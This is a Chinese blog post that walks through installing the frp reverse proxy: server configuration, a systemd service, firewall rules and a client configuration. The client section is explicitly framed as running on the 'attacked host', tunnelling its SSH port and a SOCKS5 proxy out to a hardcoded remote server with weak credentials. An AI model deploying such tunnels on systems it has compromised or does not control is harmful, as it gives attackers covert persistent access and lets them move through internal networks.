Frp反向代理搭建及使用

Frp搭建及使用

1.1 下载

wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_386.tar.gz
tar -zxvf frp_0.44.0_linux_386.tar.gz

1.2 配置文件配置

[common]
bind_addr = 0.0.0.0              # 监听地址  
bind_port = 7000                 # 监听端口  
vhost_http_port = 80
vhost_https_port = 443

dashboard_addr = 0.0.0.0         # web控制台地址
dashboard_port = 7500            # web控制台端口
dashboard_user = **************  # 控制台用户名
dashboard_pwd = **********       # 控制台密码

token = 1234567890               # 连接密码
allow_ports = 4000-65535         # 允许端口范围
#每个端口最大连接数量
max_ports_per_client = 100
#启用TCP流量复用,默认启用
tcp_mux = true

放入服务器不能携带中文

[common]
bind_addr = 0.0.0.0
bind_port = 7000
vhost_http_port = 80
vhost_https_port = 443

dashboard_addr = 0.0.0.0
dashboard_port = 7500
dashboard_user = **************
dashboard_pwd = **********

token = 1234567890
allow_ports = 4000-65535
#每个端口最大连接数量
max_ports_per_client = 100
#启用TCP流量复用,默认启用
tcp_mux = true

1.3 配置文件

mkdir /etc/frp/
cp frps.ini /etc/frp/
cp frps /usr/bin  #配置frp快捷使用

1.4 注册系统服务

vim frps.service

[Unit]
Description=Frp Server Service
After=network.target

[Service]
Type=simple
Restart=on-failure
RestartSec=5s
ExecStart=/usr/bin/frps -c /etc/frp/frps.ini
LimitNOFILE=1048576

[Install]
WantedBy=multi-user.target

创建服务


cp frps.service /usr/lib/systemd/system  # 创建服务
systemctl enable frps # 设置开机自启
systemctl start frps  # 启动服务
systemctl status frps # 查看服务状态

1.5 防火墙设置

1.5.1 RedHat/CentOS

firewall-cmd --state
firewall-cmd --permanent --zone=public --add-port=80/tcp
firewall-cmd --permanent --zone=public --add-port=443/tcp
firewall-cmd --permanent --zone=public --add-port=7000/tcp
firewall-cmd --permanent --zone=public --add-port=7500/tcp
firewall-cmd --permanent --zone=public --add-port=10001-50000/tcp
firewall-cmd --permanent --zone=public --add-port=10001-50000/udp
firewall-cmd --reload

1.5.2 Debian/Ubuntu

ufw status
ufw allow 80/tcp
ufw allow 443/tcp
ufw allow 7000/tcp
ufw allow 7500/tcp
ufw allow 10001:50000/tcp
ufw allow 10001:50000/udp

1.5.3 其他

iptables -I INPUT -p tcp --dport 80 -j ACCEPT
iptables -I INPUT -p tcp --dport 443 -j ACCEPT
iptables -I INPUT -p tcp --dport 7000 -j ACCEPT
iptables -I INPUT -p tcp --dport 7500 -j ACCEPT
iptables -I INPUT -p tcp --dport 10001:50000 -j ACCEPT
iptables -I INPUT -p udp --dport 10001:50000 -j ACCEPT

2. 客户端配置

2.1. 在被攻击端下载执行程序并解压

wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_386.tar.gz
tar -zxvf frp_0.44.0_linux_386.tar.gz

2.2. 配置文件

[common]
server_addr = 45.11.119.246    # 服务端地址(就是我们配置的服务器地址)
server_port = 7000              # 服务端端口(就是我们配置的服务器端口)
token = 1234567890              # 连接的token,也叫密码(就是我们配置的服务器连接token)

[ssh_2]                         # 映射端口的备注
type = tcp                      # 协议类型
local_ip = 127.0.0.1            # 本地地址
local_port = 22                 # 本地端口
remote_port = 53422             # 映射服务端端口

[test_sock5_2]                  # 设置socks5代理
type = tcp                      # 协议类型
remote_port =53283              # 远程端口
plugin = socks5                 # 代理类型
use_encryption = true           # 是否启用加密
plugin_user = test              # 设置用户
plugin_passwd = test            # 设置密码

客户端配置一样不能有中文

[common]
server_addr = 45.11.119.246
server_port = 7000
token = 1234567890

[ssh_2]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 53422

[test_sock5_2]
type = tcp
remote_port =53283
plugin = socks5
use_encryption = true
plugin_user = test
plugin_passwd = test

2.3. 执行映射

./frpc -c frpc.ini # frpc.ini为上面配置的文件
posted @ 2022-08-11 22:30  Saint_Michael  阅读(703)  评论(0编辑  收藏  举报